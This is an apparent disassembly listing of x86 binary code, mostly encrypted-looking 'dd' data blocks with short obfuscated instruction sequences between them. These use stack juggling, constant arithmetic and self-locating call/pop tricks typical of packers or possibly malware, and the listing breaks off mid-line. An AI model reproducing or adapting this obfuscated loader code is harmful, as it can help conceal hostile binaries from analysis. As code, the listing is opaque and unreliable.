dd 0F610C3D9h, 9EA3C96Eh, 9A40BABDh, 0E9E0E408h, 13673A60h dd 7A8A7BF5h, 0E9149043h, 0F8DCA09Fh, 0E9C4864Eh, 3C493A60h dd 0DF2ADB01h, 21A344E2h, 0E96B1F97h, 86FC3A60h, 0A493E568h dd 74F80AD0h, 3A60E910h, 0CB94A397h, 7306E91Eh, 0F044BB55h dd 0EC00000Ch, 0E4760D6Fh, 859A6140h, 0F601EEBDh, 3F1377DBh dd 9AB7C02Dh, 6E5BAC59h, 61FA829Ah, 2D0844FBh, 0C076A98Ch dd 22204426h, 0AD446B2Eh, 0D168755h, 0B1C22330h, 0D1350811h dd 0D46F0D6Dh, 28F3EE06h, 7E444E42h, 8070E5F1h, 5B3C1692h dd 0C9Fh, 0BAB990E2h, 0D40F3A4Dh, 2D1E83Bh, 0BDA69DE5h dd 0EE754850h, 97ED0057h, 455A4BA8h, 0FA0AFB78h, 0A2F710C3h dd 0ADBF4C97h, 85974D39h, 8D73C2C5h, 941D27A7h, 0FE8517C3h dd 9802F86Ch, 0A59DBD85h, 0A3F825B7h, 38D62A9Eh, 1860C0D5h dd 0CBBF3725h, 5C3A7A61h, 34D10266h, 0A62D6E3h, 0F3971F72h dd 743A7A61h, 0ACC02A0Eh, 447162F9h, 0DDFB744Eh, 128C6F30h dd 0C255F30h, 1E680000h, 0C4D33C27h, 72816EF5h, 136B845Fh dd 0C2D6372Ch, 8AD160F3h, 0CD162973h, 7DE6DB20h, 0AA498490h dd 0C61D287Dh, 0CBBF3735h, 5CC58597h, 0D5DE77EDh, 50A514F8h dd 2B619165h, 0CC7669Ah, 6CE23240h, 0A000006h, 0E4760D6Fh dd 625DAB5Ah, 0B52C619Eh, 0B3795C68h, 3225B15Fh, 0B3BD854Ch dd 0AFECBDAh, 9D08D236h, 0F1D5B984h, 1F689557h, 0E0DF29D4h dd 7B4D6460h, 1A6E863Ah, 0ED3A7B4Dh, 0FCD02A95h, 5D6CBF6Eh dd 946A95E9h, 41BD20FDh, 0A44122CCh, 52926653h, 3A7B3E32h dd 7BE17A02h, 703DB6F3h, 4C33744h, 8C6E8ABEh, 74BA1DF5h dd 0B900000Bh, 608D566Dh, 0CE3F2415h, 0B8558EC3h, 67805362h dd 8231221Dh, 4578805Bh, 1528719Eh, 0F8D721CEh, 4C798A7Bh dd 6E866A97h, 0C585961Ah, 0DEA61EEDh, 0A514F8D5h, 61916550h dd 0C7669A2Bh, 0E232400Ch, 5BBh, 1D27A70Ah, 8517C394h dd 7DE26CFEh, 0EA9BC649h, 0BA94FA40h, 18FE3CDBh, 0AC0BDB75h dd 0F0BD85D4h, 0A600F605h, 1EEB3EEEh, 6BE8067Ah, 4ABBC517h dd 0D2BB0F36h, 0CC00F4C1h, 0BACF3EE8h, 6EBB548Fh, 0D35DEF53h dd 7A0F2F5Bh, 38ACA03Ah, 3A7A0F4Ch, 6D9BFFC3h, 2A304B51h dd 710CE782h, 0D5126844h, 8C6F9ADFh, 0C441060Ch, 0C900000Ah dd 0B05D86BDh, 1E8F5465h, 0C8253E13h, 0B75083B2h, 3281526Dh dd 0F5C8D02Bh, 4578816Eh, 2827719Eh, 0FCC9DACBh, 0DE569A67h dd 0C58591AAh, 0DED64E3Dh, 0A514F8D5h, 61916550h, 0C7669A2Bh dd 0E232400Ch, 50Bh, 760D6F0Ah, 5CAB5AE4h, 7F33C36Dh, 0F0BD8598h dd 60B5608Ah, 14618E55h, 0ED9D5539h, 0F3A7A66h, 8CBA979Eh dd 5D76C30h, 7165C4E1h, 36310944h, 8C6F32C8h, 44480FFBh dd 4900000Ah, 30DD063Dh, 9E0FD4E5h, 48A5BE93h, 37D00332h dd 0B201D2EDh, 754850ABh, 0C5F801EEh, 0A8A7F11Eh, 7C495A4Bh dd 5ED61AE7h, 0C585912Ah, 0DE56CEBDh, 0A514F8D5h, 28916550h dd 0AE1FE3D2h, 82E76B6Ah, 1B3B5756h, 79445C49h, 20D8D5CFh dd 32400D09h, 47A20h, 22A7CC00h, 1CC3941Dh, 0E771FB80h dd 941D3B4Fh, 98B68CC3h, 415944D6h, 0C34A8E72h, 9D6987BAh dd 0BD859824h, 0EA1BC139h, 4FBEAC99h, 5DE0837h, 0DEA29FE8h dd 0B7A5BEDEh, 77139B25h, 0F83A7A66h, 71906482h, 0FE44716Ch dd 2A954B84h, 0E85A8C6Fh, 99A17h, 0BC8B9F00h, 23F46A7h dd 0D4E534D1h, 0B9989E0Fh, 8374DBAh, 0E6056CEBh, 57B0A392h dd 7E0734Eh, 0F01DC6F1h, 4049AAA7h, 904004A8h, 78C7C585h dd 0BB33BD80h, 0C3941DCFh, 6C188C40h, 0E3C3941Dh, 808DBB9Fh dd 7F65A77h, 8A73C7F2h, 5CFB4F76h, 5EAB4CF9h, 0F104F501h dd 1C167CC0h, 23126891h, 0B63771CFh, 0EA094451h, 411FFF2Eh dd 1822A32h, 0DE320000h, 0A514F8D5h, 0A0FE6550h, 119547DCh dd 0BD9F198Ch, 7DF559A1h, 3A60E70Dh, 47CDD8D8h, 8F734256h dd 0BFFD6DEh, 0CB35D337h, 2C350722h, 6F0Fh, 603E9D00h dd 0A37974D4h, 7E00F73Bh, 0EA6593C1h, 0D6FC63Ch, 263296ADh dd 6559C83Ah, 0C3F206F7h, 3ED1B7Fh, 49F867F1h, 491893A6h dd 38C3874Fh, 0EB44C394h, 8D4AAE91h, 0DF91171Bh, 1CE80638h dd 0BD9F10BDh, 76C448B2h, 0F1457487h, 0E3E3739Dh, 363A60F6h dd 0F09418AAh, 793A60F6h, 68AC102Fh, 3B7DABEFh, 0DBB756AAh dd 0D3922C35h, 7A000000h, 0CFBB33BDh, 40C3941Dh, 0D9AD9CEFh dd 0E33881E5h, 0F8166ADEh, 41350015h, 0A668098h, 0E61EB254h dd 0EFE6A09Eh, 191BEA50h, 9FE85125h, 35AAA779h, 5FB31744h dd 65B461EBh, 5430608Fh, 2A0E53D7h, 0C90411FCh, 15CD842Ah dd 3B4CC394h, 5EB28D9Bh, 9EEA028Ch, 113C6BFBh, 0E864FF29h dd 75D9E43Dh, 0D5A7F711h, 0FF089C4Eh, 1D42666Ah, 390FA3BEh dd 9C4AD143h, 7915BBFh, 66249BEFh, 0F8166C3Ah, 0E339E476h dd 0C1DB32DCh, 708865FEh, 6568824Dh, 0AF9B8660h, 7EEE8h dd 0E8E73300h, 0BE8B9A0Bh, 3948A5h, 0D5EC32D3h, 0A49BE10Eh dd 3AD118BFh, 0EB04DFE6h, 5BB4AF92h, 4E1724Dh, 0EC1DC6F3h dd 939CE87Ch, 0A413C585h, 0FBDADE3Ch, 4F7A8F78h, 0D5DE6C94h dd 50A514F8h, 3407FE65h, 0A1000002h, 0E4760D6Fh, 9F0B4140h dd 0F4CEBDh, 60D3A020h, 9E2F753Ah, 35BEC36Ah, 200EE2Ch dd 0A7760000h, 0C3941D20h, 77E57E1Eh, 859840FFh, 3E9D1BDh dd 0C5F004F1h, 0E4D1222Bh, 48858E7Fh, 43D8A4C4h, 88D00F99h dd 999A241Fh, 0A1152074h, 0ECE096Dh, 7BB6A6FBh, 0AA5B2BC5h dd 234471D9h, 0D8CC10DFh, 0D7338C6Eh, 73E70h, 18374300h dd 0EEDB2ADBh, 0B0899875h, 53C42A3h, 0D4EB31DEh, 4AA1C80Fh dd 3BD40F36h, 0EB04DFE2h, 54B1A29Dh, 1CED7643h, 922C58CCh dd 0D4A3C585h, 0F8D5DE6Ch, 6550A514h, 0E0ED2791h, 9D3EE3Bh dd 1AAB9AD2h, 2ED81699h, 7A24BB5h, 638F3241h, 69000001h dd 14F8D5DEh, 0FE6550A5h, 9547DCA0h, 9F198C11h, 0B9CCA1BDh dd 4F330E1Dh, 4F33170Bh, 8FFB73FDh, 0E3A60E7h, 774B3409h dd 0E77D0DD9h, 8A83A60h, 7E8677FDh, 96B7A947h, 0B32C3506h dd 38h, 760D6F5Dh, 5D140E4h, 645EBD9Fh, 0CB305090h, 67B13A60h dd 0E335E468h, 82260D4h, 346C81FDh, 0BDC233B9h, 0E2AE7780h dd 8CDA5536h, 5C51F862h, 0D3782C35h, 84000000h, 72F8D5DEh dd 0F61004CDh, 0EB2F93A2h, 1A6BF32Ch, 6FB564ECh, 0E83DEC50h dd 69FD0FDDh, 0C394BC1Dh, 0DEE53D92h, 15C44CFAh, 0B82E3500h dd 0C3934AD1h, 2BCDD2C3h, 0FA052EB7h, 32D0133h, 17CCF90Ah dd 3C2E3547h, 0F88C20B2h, 4FC394E8h, 0FE09DD0Bh, 22BD9979h dd 59681C90h, 9BFF3A67h, 0F701EE6Dh, 3C1074D8h, 9AA5FF2Eh dd 2AF9EB50h, 446C2DCBh, 0C4DCC9AAh, 0A0D86EF9h, 2F1B865Eh dd 5F268h, 0D4E33700h, 0BA979E0Fh, 0C3D4CB9h, 0D1E036D7h dd 0A09FE502h, 3EDD04B3h, 0EF18DBFAh, 5F48AB96h, 8E57E49h dd 0E811C2FFh, 8D98EC00h, 0A06FC585h, 0FBDADE38h, 4F7A8F78h dd 0C2A31894h, 959B02C4h, 89F49014h, 77BC394h, 22FC1423h dd 437A3CA0h, 0D5DEBFA5h, 4BF41A6Dh, 0F58A69DAh dd 2D91F5E9h, 0C51E2B7Ch, 163Eh, 0D5DE4600h, 50A514F8h dd 7BB19165h, 4570856Ah, 39679Eh, 0DE810000h, 0DC14F8D5h dd 0C3941DADh, 66EAD72Ch, 22C27AF9h, 8B72A3EBh, 0BAFF437Eh dd 19136F7Eh, 0D421C6C7h, 6CBF176Ch, 0B195795Dh, 0D50A865Dh dd 9D94EF50h, 0F42514Fh, 0BD07FD2Bh, 98E04850h, 99FDD1A5h dd 0D637D135h, 0EC0CF0CDh, 0CD618B90h, 0BD859ADCh, 6E88917Ch dd 0FBFE34C6h, 0A7160AD1h, 47C4625Dh, 0EB3CE973h, 9FE805DEh dd 0BEDEDEA2h, 0CD3FB7A5h, 33446BA7h, 0A7790DA1h, 0B8C03048h dd 62DD3185h, 2911EE18h, 0F4C1D2C3h, 0AE75BE6Fh, 48A74206h dd 99FDC530h, 47A7F535h, 0EE0FE985h, 33391DCAh, 4364A6BBh dd 0D32BDA4Eh, 0A2418ECh, 0E3A350Dh, 25928125h, 4B96A2Dh dd 0AAFC0000h, 50A74093h, 615F261h, 0A7FF28CBh, 56AA5B98h dd 264DF46Fh, 5182BDC7h, 81526FB4h, 3E251064h, 6A89C4D1h dd 0A7234BA1h, 28C5858Fh, 0D5DEE359h, 35E072F8h, 2C60D4E3h dd 941DA024h, 0ECD329C3h, 675B2418h, 0B4C12EC9h, 0ADC15399h dd 0C3941DD9h, 56BA54AEh, 0E23292E7h, 0E6F867EBh, 7655CE2Dh dd 906458BCh, 38E1EC26h, 0F701D2EFh, 3241EB56h, 4F73h dd 33BD9D00h, 941DCFBBh, 0CC7A40C3h, 4597ACF0h, 887C4D58h dd 5CD09AB4h, 0BD9EE1FBh, 6B1F9721h, 0FC3A60AFh, 97EB6886h dd 714C5845h, 0AF0E7CE2h, 7A8F3A60h, 28709D4Fh, 0C36DA115h dd 86B1C720h, 3FD5D32h, 2C930000h, 2D724842h, 4CB25C7Dh dd 2C23D5DEh, 0D964683Bh, 0CC034C8Bh, 0DF69A8B1h, 0F5CA71FBh dd 48879117h, 0D9BDE8Fh, 1E7D9EF2h, 91BFB430h, 8AC7D0B9h dd 0F6F0D69h, 0B64E0976h, 6BF1D59Ah, 0B3C864BAh, 0E2C63A8Eh dd 8E18AA44h, 94736266h, 5D83A5C3h, 0BEEA5709h, 874FF9C1h dd 0BD9F9E3Ah, 655CA20Bh, 0D5B5BD01h, 3A619Ch, 4D98E358h dd 0A81C297Ah, 66AFAB54h, 7F8E28C6h, 35B86485h, 0ECE55A2Ch dd 3BAFD03Ch, 2D1C6FDEh, 36CB6559h, 3Ch, 1F227BAAh, 0D6F0BF1h dd 1277E476h, 4AEA9A4Dh, 0B1AF1621h, 101BE935h, 41F074F6h dd 2EBD9F14h, 2BDA60D4h, 391DE1D8h, 0FA07470Fh, 0C6D23A60h dd 0D81CCDC7h, 0C9352C35h, 0D3000000h, 14F8D5DEh, 9C605FA5h dd 19EDD82Dh, 896A67B0h, 941B5C65h, 0BF8A9FC3h, 963E4BA4h dd 44356781h, 0EE229F9Fh, 0EEC2068Ah, 2E46D01Ah, 3C6B5F5Ah dd 7570E2Dh, 177EA6Dh, 0E1BB032Dh, 0F51C905Ah, 4A4260B8h dd 0D458EA70h, 3A6062B0h, 4225C337h, 0E1058814h, 3A6062E5h dd 4473856Ah, 44B89CF0h, 0F4EF1E96h, 1A60446Dh, 0E0DF25D0h dd 0A34EC57Ah, 0A6D1474Eh, 0FA3EEF88h, 45E60CDBh, 252D8C6Ch dd 2AA62h, 0AC9BEF00h, 724F56B7h, 0C4F504E1h, 0A9A8EE1Fh dd 78475D4Ah, 0F6155CFBh, 0A74093A2h, 17F0635Eh, 0C02D3601h dd 0B0599AB7h, 895034B8h, 68D7C585h, 0FBDADEF0h, 3B4FE771h dd 8CC3941Dh, 2EDF98B6h, 8D0BE8E5h, 0E4760D6Fh, 33DDE039h dd 0B9FE2FB9h, 3B9A6A84h, 34BD9F05h, 30DEAC15h, 0BA9EBD6Fh dd 556E1ED6h, 31BB3A60h, 3084B5C4h, 757032DCh, 35396E9Fh dd 0F65B2Ch, 47D10000h, 60595B2Fh, 38D62C3Ah, 0F8D5DEC2h dd 7199C614h, 0D7BF3B65h, 0EFE89DEDh, 197D460Eh, 3B1A1EEFh dd 3CD69F57h, 1C69C394h, 0C0D53221h, 51D567F5h, 0C3943E35h dd 0A2A640BAh, 28176D98h, 6A1E96A4h, 0FDC3943Eh, 3787A185h dd 980CDE65h, 0BD9F0971h, 0E99D11A3h, 7E3A610Ch, 156DEA04h dd 810C90CEh, 610C196Dh, 0AF4FEE3Ah, 92DD0534h, 7EECC024h dd 6C37F4F6h, 0D9037744h, 287CD42Ch, 7155A91Dh, 6EB766E2h dd 0AD94EA53h, 4F768A83h, 6A93A480h, 0F85FAB8Ch, 197h dd 0A2B1889Ah, 0DC073245h, 0AE9E033h, 0A5BE859Dh, 0D60D3048h dd 9FE5786Fh, 4D52B3A0h, 0F202E370h, 9AEF18DBh, 0A547B4AFh dd 85884501h, 857BCAC5h, 0AE4850BDh, 16EDE0D7h, 0B5197D70h dd 4256B751h, 48AC91E6h, 1C297AABh, 0BA32BCCEh, 0C394C4CEh dd 9DE97941h, 12C394C4h, 9F65FE28h, 0B4A50BDh, 0A8A54387h dd 4C9E625Fh, 87DB2DEFh, 0EFF3CA0h, 2C21CF06h, 0E9227BDBh dd 94110145h, 58BC86C3h, 0A7BC90F4h, 0BC003D46h, 8A8E207Ch dd 80BDC24Bh, 374FBEACh, 0A6408408h, 23EDA0C4h, 1862BD9Fh dd 28B46DD2h, 0C052B108h, 7D372226h, 437E8B70h, 0ADB6C690h dd 2C6000BFh, 5FCCE7Ch, 0C8ED01EBh, 0BD446B2Ah, 0FF08F145h dd 1C167EC2h, 0B8C3D991h, 51F3AB2h, 2A104E76h, 454EBFC9h dd 1A6FDE08h, 0C4D03D2Fh, 2EB5F89h, 0E411DBF2h, 8387A19Ch dd 6A931296h, 67372C19h, 48DC0E15h, 5042F6F5h, 0D736AB4Ah dd 0B5FB2686h, 0EB3CED51h, 0B5CF6ADEh, 941A6238h, 0D096698Fh dd 3425BD3Eh, 34286CD0h, 0C338E26h, 3E045A4Dh, 18237925h dd 99435AD2h, 0A69C5C42h, 231E6BD2h, 0F7C2D730h, 0E5362303h dd 0A204DABh, 718471FBh, 52A7A640h, 2094A1F2h, 0E6F6921Ah dd 1796EBEh, 0FD2AC92Dh, 40299DA8h, 24D11B3Ah, 0C149E7DEh dd 0A8515C54h, 77F1625Fh, 0E60541E5h, 7E846EBEh, 6482F847h dd 0DDA19CE9h, 127Ah, 0FD07F600h, 0BD3E24C2h, 1DCFBB33h dd 7A40C394h, 0DE3D1BCCh, 0A009FDD4h, 27967A57h, 0AB12E6D1h dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h dd 0CF7BCFFAh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 0B68h mov [esp], edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], esi push eax push ebp push 27D74985h pop ebp or ebp, 649934CBh add ebp, 711B43E8h xor ebp, 0DEEB447Fh mov eax, ebp pop ebp mov edx, eax pop eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi push 6424h mov [esp], edx pop dword ptr [esi+8] push dword ptr [esp] pop esi add esp, 4 mov edx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- dd 7F61D8CAh, 119700B8h, 0FFC50306h, 297798E0h, 9C0C12Eh dd 0C6885414h, 4880354Eh, 17EA5239h, 10C9265Ch, 2B8D6674h dd 0D0F25939h, 7B06A223h, 0E51CC30Dh, 2FB91B75h, 0BCFF5528h dd 0A0D4CC1Ah, 0D0A3BE7Dh, 8766D577h, 6FDA424Ah, 0CDB30C31h dd 0B38D8D43h, 6A061198h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1C042444h, 47000000h, 3CBCC357h, 56DAA80Fh dd 0BEC42D23h, 2E491D8Ch, 174D8D89h, 8E8060Bh, 0FE000000h dd 509D0A59h, 0BE23AA6h, 0B1B79BDh, 85C75B06h, 60B0119h dd 595Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0AEC35545h, 7E32E9CEh, 0E9BE2B04h, 13h, 830CEB1Dh dd 58D2B144h, 0D4974C26h, 0D38B448Dh, 0C751F274h, 0B100985h dd 6, 0FEB70F00h, 2705B5FFh, 6A060Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B58B48C3h dd 60B0E49h, 0AC595FFh, 858B060Bh, 60B0B25h, 95FF006Ah dd 60B32DDh, 6BEBC08Bh, 0E31FB370h, 0B5C90613h, 0AD340D87h dd 40F4E831h, 993B2CDEh, 60319586h, 803960A0h, 0F90A9D94h dd 0E7196CFCh, 5346D49Ah, 0B60933B0h, 695BB02Bh, 9DC1F3ABh dd 96B0695h, 0AF06117Eh, 0F3CC9857h, 0D50490h, 1E7EECC1h dd 49D822D5h, 35A8D056h, 0B231574Eh, 1F5AB0C4h, 0CCB965C0h dd 1D2278A2h, 4B09DEE7h, 69C4B1FEh, 0E90BB2CEh, 15Fh, 60D48B52h dd 0E8h, 0ED815D00h, 6119931h, 3D08428Bh, 78263845h, 138850Fh dd 428B0000h, 184A8B0Ch, 66BBC8D3h, 338B9F17h, 4E883C3h dd 174D8589h, 588B060Bh, 8BF88B04h, 4A8B1042h, 0BEC8D318h dd 0FA4DC379h, 0C72BC633h, 83FCE083h, 858904E8h, 60B0119h dd 8914428Bh, 0B100985h, 18428B06h, 0B0E953h, 0B5FF0000h dd 60B1ADDh, 0B9E9h, 49B5FF00h, 0E9060B1Ah, 0AEh, 19C9B5FFh dd 0A3E9060Bh, 0FF000000h, 0B1B7DB5h, 98E906h, 0B5FF0000h dd 60B2A41h, 8DE9h, 5B5FF00h, 0E9060B27h, 82h, 1AA9B5FFh dd 77E9060Bh, 0FF000000h, 0B0105B5h, 6CE906h, 0B5FF0000h dd 60B1A31h, 61E9h, 0D9B5FF00h, 0E9060B0Eh, 56h, 2355B5FFh dd 4BE9060Bh, 0FF000000h, 0B21D9B5h, 40E906h, 0B5FF0000h dd 60B1F8Dh, 35E9h, 0D5B5FF00h, 0E9060B0Fh, 2Ah, 0DA5B5FFh dd 1FE9060Bh, 0FF000000h, 0B12A9B5h, 14E906h, 0D88B0000h dd 0BB8h, 0E3F76600h, 99928D8Dh, 0C8030611h, 95FFE1FFh dd 60B0AC5h, 4D858B5Bh, 39060B17h, 850F0458h, 0Fh, 0FF016A53h dd 0B32DD95h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah, 0D4C96AB8h dd 8BE0FF77h, 0B000D85h, 808D8D06h, 8906119Ah, 0C38B0141h dd 0FE8h, 0DB87A300h, 0CED4C2D7h, 0B7A34AB7h, 9A06C209h dd 0F5BC6B6h, 0C381FFB7h, 61ACh, 0E8816060h, 28E3647h dd 66615953h, 618BBFBBh, 182C68h, 11E800h, 921F0000h, 3AE0E2FFh dd 4777191Ch, 9367AF16h, 0BFD0BFF8h, 7BEBD426h, 0B866595Ah dd 33FF1C4Fh, 6860Fh, 0E8810000h, 56475A23h, 12800F5Eh dd 0E8000000h, 7, 5F605659h, 6607656Eh, 3D1FC081h, 0E3EE815Ah dd 0B0169CFCh, 24EE8196h, 604E5526h, 9539A7BBh, 0CEBF0F52h dd 0CDEE8161h, 0B06064E8h, 0F3389BCh, 88Dh, 2810F00h, 0B6000000h dd 0A7EB8161h, 0E969216Ch, 8, 0B4BB82CDh, 9EB5F692h, 6CA3C381h dd 7E86921h, 0E5000000h, 0A7638954h, 12E9566Fh, 0C3000000h dd 0D54B1EFCh, 0EB2234Dh, 0D632717Fh, 360034DAh, 0E9815F9Dh dd 1, 0FF60850Fh, 8060FFFFh, 810F96D4h, 4, 3724BE66h, 12E861h dd 0B4D0000h, 12BD91B5h, 66674C16h, 0FE3CFD08h, 5EDA20BCh dd 5CCA815Bh, 81788B46h, 5EA8C3h, 46BA6600h, 5DF2BED4h dd 0F68130E3h, 30E34A72h, 0F8F0Fh, 6E80000h, 0B5000000h dd 9C65F51Fh, 0AEEC807Dh, 0E833FF58h, 0Ah, 6A659382h, 43D077FCh dd 0CE80510h, 80000000h, 0BA68B082h, 7F7B282h, 8A504231h dd 595F5FF5h, 66A9B460h, 61B94BBFh, 0D712C181h, 840F202Ch dd 0Bh, 0DEB70F60h, 8C0Fh, 81610000h, 0CAD8F7E9h, 0E7C18104h dd 0BA2E9759h, 1598A789h, 0EB830B89h, 0C18B6604h, 9A850F4Eh dd 66FFFFFFh, 8D8DD78Bh, 6119D35h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0F4C35747h, 89D418C1h, 0B20B985h dd 4D8D8906h, 81060B17h, 9C99B8F2h, 1985C746h, 54060B01h dd 8B000072h, 0B208585h, 985C706h, 60B10h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 98F2C353h, 0E6C3BF61h, 0C78B8DC2h, 63DB58Bh, 0B5FF060Bh dd 60B2A41h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 4DC35141h, 1C6643FEh, 0E7B52985h, 98D8960h, 61060B08h dd 21A19529h, 0B589060Bh, 60B188Dh, 0AC595FFh, 6A060Bh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0BB918BC3h, 6A6B7Dh, 32DD95FFh, 0C08B060Bh, 0DAED19EBh dd 7006D8D9h, 0FD6FF405h, 0E1738149h, 6A4D5212h, 4E74FF94h dd 0EB9A7C20h, 8, 70BE0300h, 4EDE950h, 67680000h, 0E906119Eh dd 0FFF9E1CBh, 119EEB68h, 0E1C1E906h, 7B68FFF9h, 0E90611A0h dd 0FFF9E1B7h, 0E67D545Eh, 10C3FE09h, 4E95A4F7h, 0F97A59A1h dd 2AC9F40Ch, 53A944ABh, 116F76Ch, 0BEC6273Ch, 66B35C87h dd 0E903886Bh, 85800145h, 413786C5h, 17FBDADEh, 0F3605DA6h dd 9842D9A3h, 9F218514h, 0EC50AABDh, 60EF0444h, 0D40BD13Ah dd 567C8138h, 31739DA1h, 54AD5CB4h, 1B842C35h, 60000003h dd 84150BDh, 8BC6D584h, 770C7997h, 3C2E3547h, 53443B2h dd 52E1BEBh, 0ED52BD9Fh, 9DE26918h, 5F9B97A0h, 1D2F2CDAh dd 60B8FD89h, 0F3971F3Ah, 743A60B8h, 0C049B10Eh, 0D03498B1h dd 6CBF6EFCh, 3ACCB35Dh, 3F0413F3h, 0E149A9F3h, 0A69DE5E7h dd 24BFB599h, 98EB1AC0h, 6ED2EF34h, 5618362Ah, 10A9AFDEh dd 76DA2041h, 0FDD6636h, 1B94EAE7h, 0D5077B4Bh, 71E2DF28h dd 0B9B68394h, 8FD96D47h, 3B21E66Ch, 0B9000003h, 608D566Dh dd 0CE3F2415h, 0B8558EC3h, 67805362h, 8231221Dh, 4578805Bh dd 1528719Eh, 0F8D721CEh, 4C798A7Bh, 6E866A97h, 0C585831Ah dd 0BDA61EEDh, 48C1541Eh, 7A944245h, 81A5A22h, 0C9C2D496h dd 0CFBB3339h, 40C39421h, 29D4067Ah, 0A547E1DCh, 858E1401h dd 3B2119BDh, 18297CA9h, 3A051FEEh, 89B4CC39h, 295DD163h dd 0BE3A7A83h, 8EA6AA44h, 3C85D1C1h, 0D11E2B7Ch, 866417F9h dd 0B747380Ah, 35000002h, 9C09EAE1h, 4ABBB889h, 34D1023Fh dd 0E30CD7EEh, 6BDA699h, 0D9E43CDFh, 0A994ED1Ah, 7C4B5D4Ah dd 0C0FD06E7h, 0EA02EE13h, 0C585839Eh, 6F3AA211h, 5AE4760Dh dd 996D5CABh, 0F0C1D4A5h, 0B2AB8E56h, 0A69CBD85h, 8B9D08D2h dd 82C292BCh, 33A7A7Eh, 8475D9F0h, 4A3EB671h, 0DD3A7A7Eh dd 3D81E5h, 899C0580h, 9CF0D4B8h, 56AA3B79h, 2C2E6FB7h dd 19992h, 33BD7A00h, 941DCFBBh, 0CC7A40C3h, 0B5193441h dd 5D86B3C4h, 7AE07B01h, 9F196FF2h, 8B23ADBDh, 3A60E6FFh dd 7FDC0A70h, 0CFBFB71Bh dd 1A3A60E6h, 18850F9Eh, 8073009h, 40D78C5Fh, 0FF2E103Eh dd 3D2C34FDh, 5F89C4D0h, 509Ah, 0D6F6200h, 9D77E476h, 0AA31079Fh dd 9E4A3EB6h, 0E5DDC394h, 61856781h, 0BD9F86B0h, 0A91946D0h dd 89693394h, 0DD345090h, 47BB3A61h, 0EC50AAA9h, 61DD0444h dd 9A0BD13Ah, 0F6CABE8Bh, 0C54F5E58h, 9FDC0D8h, 8211B35h dd 212C36B1h, 0BBh, 23D5DECFh, 1C742758h, 93675B77h, 1BEFD62Ah dd 0E05461B2h, 20A4C85Ah, 0A7C394AAh, 4F58B553h, 0AA646084h dd 97EBC394h, 297CA9B3h, 0B650B418h, 0AF07A93Dh, 2D76C394h dd 0FD417C85h, 0E0BEA599h, 0CA07129Ch, 3C2E0246h, 0F88C20B2h dd 4FC394AFh, 0FE09DD0Bh, 4FBD993Eh, 0EC34E10Bh, 869A0BD1h dd 5AD691BFh, 0F9635EABh, 671C1175h, 82AC963Ah, 814E718Bh dd 865FB53Bh, 272DE260h, 0A5000001h, 0CF97A51h, 0FA2BC8F9h dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh, 39041D8Ah dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C585BD0Eh, 0DE4A3281h dd 8F78FBDAh, 0FFC6DA7Ah, 0DEB8589Bh, 0A514F8D5h, 72FE6550h dd 0E9C7A83h, 0E2469EBAh, 0F7C76145h, 0D84C9EA5h, 0BD9EB17Fh dd 0B5608AF0h, 14AC6B66h, 0D618A825h, 0EE1FD17Fh, 2648ABAAh dd 3A6129A6h, 7CE7D227h, 0C2B68993h, 0A90Dh, 0D6F9700h dd 5940E476h, 0D6BD85B2h, 7ECE3637h, 53EC86A5h, 35AFAE0Dh dd 8C7054ACh, 66FDC8DDh, 0D3EE3BEAh, 10FD2B6Fh, 0BB20CA07h dd 67C287D2h, 0F850FE61h, 1BDBC368h, 82392B94h, 0F092F632h dd 0BFF9170Dh, 81BCC92Eh, 5560B552h, 0D3E238E1h, 5B7ABE6Fh dd 0C6FB06F7h, 0A1152477h, 9B9EA3F8h, 7324C59h, 0D7B33B45h dd 58601921h, 0B1889B62h, 8901D97h, 0E515C7D3h, 24730297h dd 96DA115h, 28256EDFh, 63C9D3C2h, 7F53271Ah, 0B553B71Bh dd 8024B632h, 60195AC4h, 74D9774Bh, 5A758323h, 33D9266h dd 47000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h dd 52CF7BCFh, 0C281E289h, 4, 8704EA83h, 895C2414h, 29682414h dd 8900001Bh, 7668241Ch, 89000042h, 0E3BB242Ch, 431F0323h dd 31F3814Bh, 560BE006h, 0C83F0ABEh, 5EF32160h, 787EC381h dd 8B540551h, 0C483242Ch, 4815304h, 0D2498824h, 8458F3Bh dd 276BB850h, 2D4021E7h, 0E614DDE4h, 58084529h, 5D2434FFh dd 8B04C483h, 8953241Ch, 4C381E3h, 83000000h, 1C8704C3h dd 0F0E95C24h, 2FFF9DCh, 39EEED03h, 0B88F6F96h, 611A1C7h dd 0E0FFC503h, 19D12EF4h, 7CEBB025h, 406E941Ch, 458BFFF2h dd 744BE629h, 630B0A4h, 7D7E77D2h, 0ED682EDh, 92707E7h dd 322AA02Eh, 74DE2625h, 472636BEh, 3D693F8Ch, 3586B36h dd 5DA01A01h, 5A9C8C10h, 21973A53h, 4073085Ah, 48A3D7D0h dd 3DFE05ACh, 6DFEC974h, 6EA17065h, 0BCB6D25h, 5A8AAB23h dd 3D708CAh, 17122275h, 4E012951h, 0AAFD854h, 5AE270C5h dd 614BD2BAh, 70635A7Dh, 75AC44D4h, 13E8h, 0B6C61000h dd 0F5AF94DAh, 0EC68F275h, 4D63CF57h, 0DC9C0ED1h, 0DE9h dd 0A8946D00h, 8C2A1229h, 8071DD42h, 665ACE9Ch, 